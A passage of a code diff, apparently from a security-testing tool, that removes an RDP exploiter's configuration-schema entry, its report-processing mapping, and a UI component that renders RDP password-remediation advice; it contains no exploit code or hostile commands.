],
|
|
||||||
"title": "RDP Exploiter (UNSAFE)",
|
|
||||||
"attack_techniques": []
|
|
||||||
},
|
|
||||||
{
|
{
|
||||||
"type": "string",
|
"type": "string",
|
||||||
"enum": [
|
"enum": [
|
||||||
|
@ -791,19 +783,6 @@ SCHEMA = {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"rdp_grinder": {
|
|
||||||
"title": "RDP grinder",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"rdp_use_vbs_download": {
|
|
||||||
"title": "Use VBS download",
|
|
||||||
"type": "boolean",
|
|
||||||
"default": True,
|
|
||||||
"description": "Determines whether to use VBS or BITS to download monkey to remote machine"
|
|
||||||
" (true=VBS, false=BITS)"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"sambacry": {
|
"sambacry": {
|
||||||
"title": "SambaCry",
|
"title": "SambaCry",
|
||||||
"type": "object",
|
"type": "object",
|
||||||
|
|
|
@ -34,7 +34,6 @@ class ReportService:
|
||||||
'SmbExploiter': 'SMB Exploiter',
|
'SmbExploiter': 'SMB Exploiter',
|
||||||
'WmiExploiter': 'WMI Exploiter',
|
'WmiExploiter': 'WMI Exploiter',
|
||||||
'SSHExploiter': 'SSH Exploiter',
|
'SSHExploiter': 'SSH Exploiter',
|
||||||
'RdpExploiter': 'RDP Exploiter',
|
|
||||||
'SambaCryExploiter': 'SambaCry Exploiter',
|
'SambaCryExploiter': 'SambaCry Exploiter',
|
||||||
'ElasticGroovyExploiter': 'Elastic Groovy Exploiter',
|
'ElasticGroovyExploiter': 'Elastic Groovy Exploiter',
|
||||||
'Ms08_067_Exploiter': 'Conficker Exploiter',
|
'Ms08_067_Exploiter': 'Conficker Exploiter',
|
||||||
|
@ -287,12 +286,6 @@ class ReportService:
|
||||||
processed_exploit['type'] = 'ssh'
|
processed_exploit['type'] = 'ssh'
|
||||||
return processed_exploit
|
return processed_exploit
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def process_rdp_exploit(exploit):
|
|
||||||
processed_exploit = ReportService.process_general_creds_exploit(exploit)
|
|
||||||
processed_exploit['type'] = 'rdp'
|
|
||||||
return processed_exploit
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def process_vsftpd_exploit(exploit):
|
def process_vsftpd_exploit(exploit):
|
||||||
processed_exploit = ReportService.process_general_creds_exploit(exploit)
|
processed_exploit = ReportService.process_general_creds_exploit(exploit)
|
||||||
|
@ -357,7 +350,6 @@ class ReportService:
|
||||||
'SmbExploiter': ReportService.process_smb_exploit,
|
'SmbExploiter': ReportService.process_smb_exploit,
|
||||||
'WmiExploiter': ReportService.process_wmi_exploit,
|
'WmiExploiter': ReportService.process_wmi_exploit,
|
||||||
'SSHExploiter': ReportService.process_ssh_exploit,
|
'SSHExploiter': ReportService.process_ssh_exploit,
|
||||||
'RdpExploiter': ReportService.process_rdp_exploit,
|
|
||||||
'SambaCryExploiter': ReportService.process_sambacry_exploit,
|
'SambaCryExploiter': ReportService.process_sambacry_exploit,
|
||||||
'ElasticGroovyExploiter': ReportService.process_elastic_exploit,
|
'ElasticGroovyExploiter': ReportService.process_elastic_exploit,
|
||||||
'Ms08_067_Exploiter': ReportService.process_conficker_exploit,
|
'Ms08_067_Exploiter': ReportService.process_conficker_exploit,
|
||||||
|
|
|
@ -665,22 +665,6 @@ class ReportPageComponent extends AuthComponent {
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
generateRdpIssue(issue) {
|
|
||||||
return (
|
|
||||||
<li>
|
|
||||||
Change <span className="label label-success">{issue.username}</span>'s password to a complex one-use password
|
|
||||||
that is not shared with other computers on the network.
|
|
||||||
<CollapsibleWellComponent>
|
|
||||||
The machine <span className="label label-primary">{issue.machine}</span> (<span
|
|
||||||
className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to a <span
|
|
||||||
className="label label-danger">RDP</span> attack.
|
|
||||||
<br/>
|
|
||||||
The Monkey authenticated over the RDP protocol with user <span
|
|
||||||
className="label label-success">{issue.username}</span> and its password.
|
|
||||||
</CollapsibleWellComponent>
|
|
||||||
</li>
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
generateSambaCryIssue(issue) {
|
generateSambaCryIssue(issue) {
|
||||||
return (
|
return (
|
||||||
|
@ -959,9 +943,6 @@ generateMSSQLIssue(issue) {
|
||||||
case 'ssh_key':
|
case 'ssh_key':
|
||||||
data = this.generateSshKeysIssue(issue);
|
data = this.generateSshKeysIssue(issue);
|
||||||
break;
|
break;
|
||||||
case 'rdp':
|
|
||||||
data = this.generateRdpIssue(issue);
|
|
||||||
break;
|
|
||||||
case 'sambacry':
|
case 'sambacry':
|
||||||
data = this.generateSambaCryIssue(issue);
|
data = this.generateSambaCryIssue(issue);
|
||||||
break;
|
break;
|
||||||
|
|
Loading…
Reference in New Issue